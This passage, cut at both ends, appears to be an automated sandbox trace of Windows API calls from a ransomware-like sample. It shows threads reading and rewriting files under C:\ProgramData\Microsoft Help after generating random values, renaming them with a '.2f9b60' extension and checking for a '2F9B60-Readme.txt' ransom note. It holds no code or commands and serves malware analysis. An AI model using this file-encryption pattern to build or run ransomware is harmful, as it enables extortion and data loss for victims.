(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0087.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd972b0 [0087.455] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.455] WriteFile (in: hFile=0x970, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2115f930, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2115f930*=0x126, lpOverlapped=0x0) returned 1 [0087.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0087.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e270 [0087.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0087.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9eeb0 [0087.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0087.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b590) returned 1 [0087.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e270) returned 1 [0087.459] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1b79e270 [0087.459] sprintf (in: _Dest=0x1b79e270, _Format="%c%c" | out: _Dest="75") returned 2 [0087.459] sprintf (in: _Dest=0x1b79e272, _Format="%c%c" | out: _Dest="a9") returned 2 [0087.459] sprintf (in: _Dest=0x1b79e274, _Format="%c%c" | out: _Dest="3d") returned 2 [0087.459] sprintf (in: _Dest=0x1b79e276, _Format="%c%c" | out: _Dest="bd") returned 2 [0087.459] sprintf (in: _Dest=0x1b79e278, _Format="%c%c" | out: _Dest="11") returned 2 [0087.459] sprintf (in: _Dest=0x1b79e27a, _Format="%c%c" | out: _Dest="40") returned 2 [0087.459] sprintf (in: _Dest=0x1b79e27c, _Format="%c%c" | out: _Dest="b8") returned 2 [0087.459] sprintf (in: _Dest=0x1b79e27e, _Format="%c%c" | out: _Dest="5d") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e280, _Format="%c%c" | out: _Dest="80") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e282, _Format="%c%c" | out: _Dest="0d") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e284, _Format="%c%c" | out: _Dest="0c") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e286, _Format="%c%c" | out: _Dest="ed") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e288, _Format="%c%c" | out: _Dest="9a") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e28a, _Format="%c%c" | out: _Dest="ac") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e28c, _Format="%c%c" | out: _Dest="62") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e28e, _Format="%c%c" | out: _Dest="b3") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e290, _Format="%c%c" | out: _Dest="dc") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e292, _Format="%c%c" | out: _Dest="b5") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e294, _Format="%c%c" | out: _Dest="cb") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e296, _Format="%c%c" | out: _Dest="d7") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e298, _Format="%c%c" | out: _Dest="ac") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e29a, _Format="%c%c" | out: _Dest="e9") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e29c, _Format="%c%c" | out: _Dest="9a") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e29e, _Format="%c%c" | out: _Dest="6b") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e2a0, _Format="%c%c" | out: _Dest="15") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e2a2, _Format="%c%c" | out: _Dest="79") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e2a4, _Format="%c%c" | out: _Dest="61") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e2a6, _Format="%c%c" | out: _Dest="08") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e2a8, _Format="%c%c" | out: _Dest="4d") returned 2 [0087.460] sprintf (in: _Dest=0x1b79e2aa, _Format="%c%c" | out: _Dest="14") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2ac, _Format="%c%c" | out: _Dest="2b") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2ae, _Format="%c%c" | out: _Dest="ea") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2b0, _Format="%c%c" | out: _Dest="da") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2b2, _Format="%c%c" | out: _Dest="3e") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2b4, _Format="%c%c" | out: _Dest="c2") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2b6, _Format="%c%c" | out: _Dest="76") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2b8, _Format="%c%c" | out: _Dest="6b") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2ba, _Format="%c%c" | out: _Dest="87") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2bc, _Format="%c%c" | out: _Dest="34") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2be, _Format="%c%c" | out: _Dest="df") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2c0, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2c2, _Format="%c%c" | out: _Dest="50") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2c4, _Format="%c%c" | out: _Dest="27") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2c6, _Format="%c%c" | out: _Dest="75") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2c8, _Format="%c%c" | out: _Dest="68") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2ca, _Format="%c%c" | out: _Dest="0f") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2cc, _Format="%c%c" | out: _Dest="0a") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2ce, _Format="%c%c" | out: _Dest="3f") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2d0, _Format="%c%c" | out: _Dest="52") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2d2, _Format="%c%c" | out: _Dest="23") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2d4, _Format="%c%c" | out: _Dest="9d") returned 2 [0087.461] sprintf (in: _Dest=0x1b79e2d6, _Format="%c%c" | out: _Dest="3e") returned 2 [0087.461] RtlInitAnsiString (in: DestinationString=0x2115f9a8, SourceString="75a93dbd1140b85d800d0ced9aac62b3dcb5cbd7ace99a6b157961084d142beada3ec2766b8734dfd5502775680f0a3f52239d3e" | out: DestinationString="75a93dbd1140b85d800d0ced9aac62b3dcb5cbd7ace99a6b157961084d142beada3ec2766b8734dfd5502775680f0a3f52239d3e") [0087.461] RtlAnsiStringToUnicodeString (in: DestinationString=0x2115f978, SourceString="75a93dbd1140b85d800d0ced9aac62b3dcb5cbd7ace99a6b157961084d142beada3ec2766b8734dfd5502775680f0a3f52239d3e", AllocateDestinationString=1 | out: DestinationString="75a93dbd1140b85d800d0ced9aac62b3dcb5cbd7ace99a6b157961084d142beada3ec2766b8734dfd5502775680f0a3f52239d3e") returned 0x0 [0087.461] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776690 [0087.462] wcscat (in: _Dest=0x1b783f80, _Source="75a93dbd1140b85d800d0ced9a" | out: _Dest="C:\\ProgramData\\Microsoft Help\\75a93dbd1140b85d800d0ced9a") returned="C:\\ProgramData\\Microsoft Help\\75a93dbd1140b85d800d0ced9a" [0087.462] wcscat (in: _Dest=0x1b783f80, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60" [0087.462] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60", NtPathName=0x2115f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\75a93dbd1140b85d800d0ced9a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.462] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a5a70 [0087.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0087.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.463] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x2115f9b8, FileInformation=0x2115f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2115f9b8, FileInformation=0x2115f9c8) returned 0x0 [0087.463] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x2115f9b8, FileInformation=0x2115f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 [0087.464] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776690) returned 1 [0087.464] FlushFileBuffers (hFile=0x970) returned 1 [0087.466] CloseHandle (hObject=0x970) returned 1 [0087.467] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.467] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.467] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.467] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 Thread: id = 226 os_tid = 0xcb8 [0087.478] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn")) returned 0x2022 [0087.479] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.479] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.479] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x2124f940 | out: lpFileSize=0x2124f940*=338) returned 1 [0087.479] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.479] ReadFile (in: hFile=0x96c, lpBuffer=0x2124f8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2124f908, lpOverlapped=0x0 | out: lpBuffer=0x2124f8c0*, lpNumberOfBytesRead=0x2124f908*=0x4, lpOverlapped=0x0) returned 1 [0087.480] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5c0 [0087.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5f0 [0087.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0087.480] NtQuerySystemTime (in: CurrentTime=0x2124f800 | out: CurrentTime=0x2124f800*=132462176933578000) returned 0x0 [0087.480] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x23eaf54 [0087.480] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x1998ac02 [0087.480] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x7418feea [0087.480] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x4047df0d [0087.480] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x3f8c9bc8 [0087.480] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x38fb2b16 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x6f955180 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x5aedadfb [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x2722dae3 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x81d0bab [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x2bbaf270 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x7fc654a5 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x685ffbba [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x20f42858 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x23b56797 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x2071e171 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0xbb85f3a [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x1d8a3a1d [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x9e722c2 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x323ec3d1 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x12d93a34 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x453b5228 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x49d9357a [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x7e832630 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x2d094dae [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x40272b09 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x61160d32 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x2ef16c9a [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x556439d8 [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x44ae80bd [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x21619e7e [0087.481] RtlRandomEx (in: Seed=0x2124f7f0 | out: Seed=0x2124f7f0) returned 0x9c3bac3 [0087.489] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x2124f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x2124f7f0*=0x152, lpOverlapped=0x0) returned 1 [0087.489] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.489] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2124f7f4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x2124f7f4*=0x152, lpOverlapped=0x0) returned 1 [0087.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5c0 [0087.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0087.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b470) returned 1 [0087.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0087.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0087.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd972b0 [0087.492] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.492] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2124f910, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2124f910*=0x11e, lpOverlapped=0x0) returned 1 [0087.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0087.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e470 [0087.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0087.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b650) returned 1 [0087.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9eeb0 [0087.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b650 [0087.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0087.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0087.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0087.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x59) returned 0x1b7c2130 [0087.558] sprintf (in: _Dest=0x1b7c2130, _Format="%c%c" | out: _Dest="2e") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2132, _Format="%c%c" | out: _Dest="aa") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2134, _Format="%c%c" | out: _Dest="6f") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2136, _Format="%c%c" | out: _Dest="70") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2138, _Format="%c%c" | out: _Dest="4b") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c213a, _Format="%c%c" | out: _Dest="e5") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c213c, _Format="%c%c" | out: _Dest="f3") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c213e, _Format="%c%c" | out: _Dest="70") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2140, _Format="%c%c" | out: _Dest="1d") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2142, _Format="%c%c" | out: _Dest="b6") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2144, _Format="%c%c" | out: _Dest="78") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2146, _Format="%c%c" | out: _Dest="35") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c2148, _Format="%c%c" | out: _Dest="60") returned 2 [0087.558] sprintf (in: _Dest=0x1b7c214a, _Format="%c%c" | out: _Dest="31") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c214c, _Format="%c%c" | out: _Dest="de") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c214e, _Format="%c%c" | out: _Dest="7e") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2150, _Format="%c%c" | out: _Dest="cb") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2152, _Format="%c%c" | out: _Dest="57") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2154, _Format="%c%c" | out: _Dest="ed") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2156, _Format="%c%c" | out: _Dest="7f") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2158, _Format="%c%c" | out: _Dest="a6") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c215a, _Format="%c%c" | out: _Dest="12") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c215c, _Format="%c%c" | out: _Dest="29") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c215e, _Format="%c%c" | out: _Dest="8e") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2160, _Format="%c%c" | out: _Dest="f8") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2162, _Format="%c%c" | out: _Dest="55") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2164, _Format="%c%c" | out: _Dest="ab") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2166, _Format="%c%c" | out: _Dest="82") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2168, _Format="%c%c" | out: _Dest="50") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c216a, _Format="%c%c" | out: _Dest="d9") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c216c, _Format="%c%c" | out: _Dest="9b") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c216e, _Format="%c%c" | out: _Dest="a6") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2170, _Format="%c%c" | out: _Dest="db") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2172, _Format="%c%c" | out: _Dest="02") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2174, _Format="%c%c" | out: _Dest="e2") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2176, _Format="%c%c" | out: _Dest="67") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2178, _Format="%c%c" | out: _Dest="58") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c217a, _Format="%c%c" | out: _Dest="e9") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c217c, _Format="%c%c" | out: _Dest="28") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c217e, _Format="%c%c" | out: _Dest="57") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2180, _Format="%c%c" | out: _Dest="00") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2182, _Format="%c%c" | out: _Dest="90") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2184, _Format="%c%c" | out: _Dest="6f") returned 2 [0087.559] sprintf (in: _Dest=0x1b7c2186, _Format="%c%c" | out: _Dest="5e") returned 2 [0087.559] RtlInitAnsiString (in: DestinationString=0x2124f988, SourceString="2eaa6f704be5f3701db678356031de7ecb57ed7fa612298ef855ab8250d99ba6db02e26758e9285700906f5e" | out: DestinationString="2eaa6f704be5f3701db678356031de7ecb57ed7fa612298ef855ab8250d99ba6db02e26758e9285700906f5e") [0087.560] RtlAnsiStringToUnicodeString (in: DestinationString=0x2124f958, SourceString="2eaa6f704be5f3701db678356031de7ecb57ed7fa612298ef855ab8250d99ba6db02e26758e9285700906f5e", AllocateDestinationString=1 | out: DestinationString="2eaa6f704be5f3701db678356031de7ecb57ed7fa612298ef855ab8250d99ba6db02e26758e9285700906f5e") returned 0x0 [0087.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x106640 [0087.560] wcscat (in: _Dest=0x1b79e470, _Source="2eaa6f704be5f3701db678" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2eaa6f704be5f3701db678") returned="C:\\ProgramData\\Microsoft Help\\2eaa6f704be5f3701db678" [0087.560] wcscat (in: _Dest=0x1b79e470, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60" [0087.560] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60", NtPathName=0x2124f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad840 [0087.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.566] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x2124f998, FileInformation=0x2124f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2124f998, FileInformation=0x2124f9a8) returned 0x0 [0087.567] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x2124f998, FileInformation=0x2124f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e470) returned 1 [0087.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0087.569] FlushFileBuffers (hFile=0x96c) returned 1 [0087.573] CloseHandle (hObject=0x96c) returned 1 [0087.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.574] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.574] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.574] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 Thread: id = 227 os_tid = 0xcbc [0087.495] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn")) returned 0x2022 [0087.495] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.495] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0087.495] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x212ff8a0 | out: lpFileSize=0x212ff8a0*=362) returned 1 [0087.495] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x166, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.495] ReadFile (in: hFile=0x970, lpBuffer=0x212ff820, 